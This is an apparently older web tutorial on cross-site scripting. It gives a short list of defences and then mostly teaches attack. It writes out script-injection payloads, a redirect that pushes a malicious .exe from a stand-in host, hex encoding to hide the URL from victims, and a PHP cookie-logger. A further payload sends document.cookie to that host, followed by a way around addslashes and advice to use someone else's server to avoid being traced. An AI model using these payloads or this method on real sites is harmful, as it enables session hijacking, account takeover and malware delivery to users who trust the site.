Cross site scripting (XSS) accounts for the majority if attacks on websites. So what is it, how do we do it and how do we defend against it? In this article we'll look at how to carry out a cross site scripting attack with a brief overview of defence.A future article will deal with defence against cross site scripting in more detail.

How can you test your site for such false? Trial and error and a security review are the best method. Cross site scripting requires very little tools, if any, to carry out. A browser and some time are all that is really required. There are tools out there that may be of use in scanning your site for such vulnerabilities but there should not be relied on to find all security holes in a site. Two such tools are Nessus and Nikto.

One way of understanding cross site scripting is to look at the defences and processes that must be used to defend against it:

1. All user input must be filterd. This includes form data, passed variables and cookies.

2. Filter out metacharacters. For example < and > should be replaced with & l t; and & g t ; Other characters that should be filtered include ', ", #, !, (, ), &. 

Invariably, Cross site scripting is only useful in targeting client side operations. Browser holes may be exploited by malicious code injected into a webpage, and in certain cirumstances executable files can be run on the users computer.

Before we look at some examples just a brief word on what actually happens with code injection into a webpage.In both cases below, the developer of the website has allowed untrusted data (ie, unsanitized data) to be used in the webpage. The first method of attack is 'injecting up. This means we close the current context and start a new context (eg insert </script> into a webpage and starting a new script <script> ). The opposite, and less common method is 'injecting down'. This means we ignore whether the current context is closed and just inject our code anyway. An example might be <img src="/javascript(alert('hello!')" />. Both cases can be prevented by escaping and sanitizing the relevant characters.

To launch a XSS attack, we need to first find a potential vulnerabllity. One good way to find one is to seek the the same output as input. What? What I mean is to look for output on a webpage that is the same as user input. So for example, if you login as 'jack' and the webpage then says 'hello jack' - jack could be a user input variable that is unsantized and we should proceed to check it for weakness. The souce code will look perfectly normal, it might be something along the lines of:

<table>

<tr>

<td>hello</td> <td>Jack</td>

</tr>

</table>

 But what if were bad people and inserted <script>alert("SNUFFLES");</script> into the login box instead of 'jack'? If we run the webpage again, an alert box pops up that says 'SNUFFLES'. Not very threatening but this is the basic process behind cross site scripting. Of course, bad people would not be interested in inserting an alert box - they could insert javascript code to display their own adverts or undertake cookie theft etc. Whatever they do, the methodoly is the same - find an unprotected variable and exploit it.

What if we wanted to provide some kind of executable file that users would download? Javascript code to redirect a user takes the form:

<script>document.location="http://snuffles.org";</script>

If we inserted the following into our login box:

<script>document.location="http://snuffles.org/badFolder/badFile.exe";</script>

Of course such an exposed url might alert the more security conscious people. But fear not, we could encode it. Using a URL encoder,we can arrive at a HEX representation of our URL that every browser will still understand but is human unreadable. http://snuffles.org/badFolder/badFile.exe converted to HEX is:

68%74%74%70%3a%2f%2f%73%6e%75%66%66%6c%65%73%2e%6f%72%67%2f%62%61%64%46%6f%6c%64%65%72%2f%62%61%64%46%69%6c%65%2e%65%78%65 

 Any user visiting the webpage then has a pop up box displayed asking do they want to download the file.  Now we have something that people can download. Remember, the link will be appearing on a website that the user trusts.

Because user input and passed variables form such a huge part of modern and dynamic websites, the danger of cross site scripting is growing rapidly. Techniques to beat security checks are becomming more common. For example to get around the problem of addslashes(); on a PHP script, we could forget loading a document.location href call and instead  use javascript load cal (which in turn calls the original PHP page). This will make more sense below.

A XSS Cheat Sheet is available at http://ha.ckers.org/xss.html

So exactly how is this any use to hackers in stealing data?

If you've found a XSS vulnerability the above code could be modified slightly. What would happen if we gloriously set up a PHP page on our own server with the following code?

<?

//cookieLog.php

$stolenCookie = $_GET['cookie'];

//Append cookie to a file

$logFile = fopen('cookieLog.txt','a');

fwrite($logFile,$stolenCookie."/n");

fclose($logFile);

?>

Of course, using your own server is not advisable - because you can be easily traced down! Far better borrow a server for this. Our redirect URL above might now look something like:

 http://somesite.com/login.php?query="><script>location.href='http://snuffles.org/cookieLog.php'+document.cookie;</script>

Again, we'd url encode this to disguise what is happening to the end user. We now have a file full or cookies from users of the webpage. Now we simply copy the cookie information of a user in the file to our own cookies and we can login to their accounts.

Regarding the addslashes security check alluded to above, its possible to avoid it with a call to a javascript page that redirects to a php page. For instance, the code above  location.href='http://snuffles.rog...' would get caught by the addslashes function. So instead, we could inject code such as 

http://somesite.com/login.php?query=<script src="/badfolder/badjava.js> 

Now all we need do is to direct from our javascript file to our original cookieLog.php file that recorded the cookie with similar code to the original injection:

location.href='http://snuffles.org/cookieLog.php'+document.cookie;

One method that is worth mentioning is an overflow attack on an unsecure webpage. One such as:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb<script>alert('SNUFFLES')</script>

There is a free scanner available at http://www.acunetix.com/cross-site-scripting/scanner.htm that will scan your website for common XSS flaws.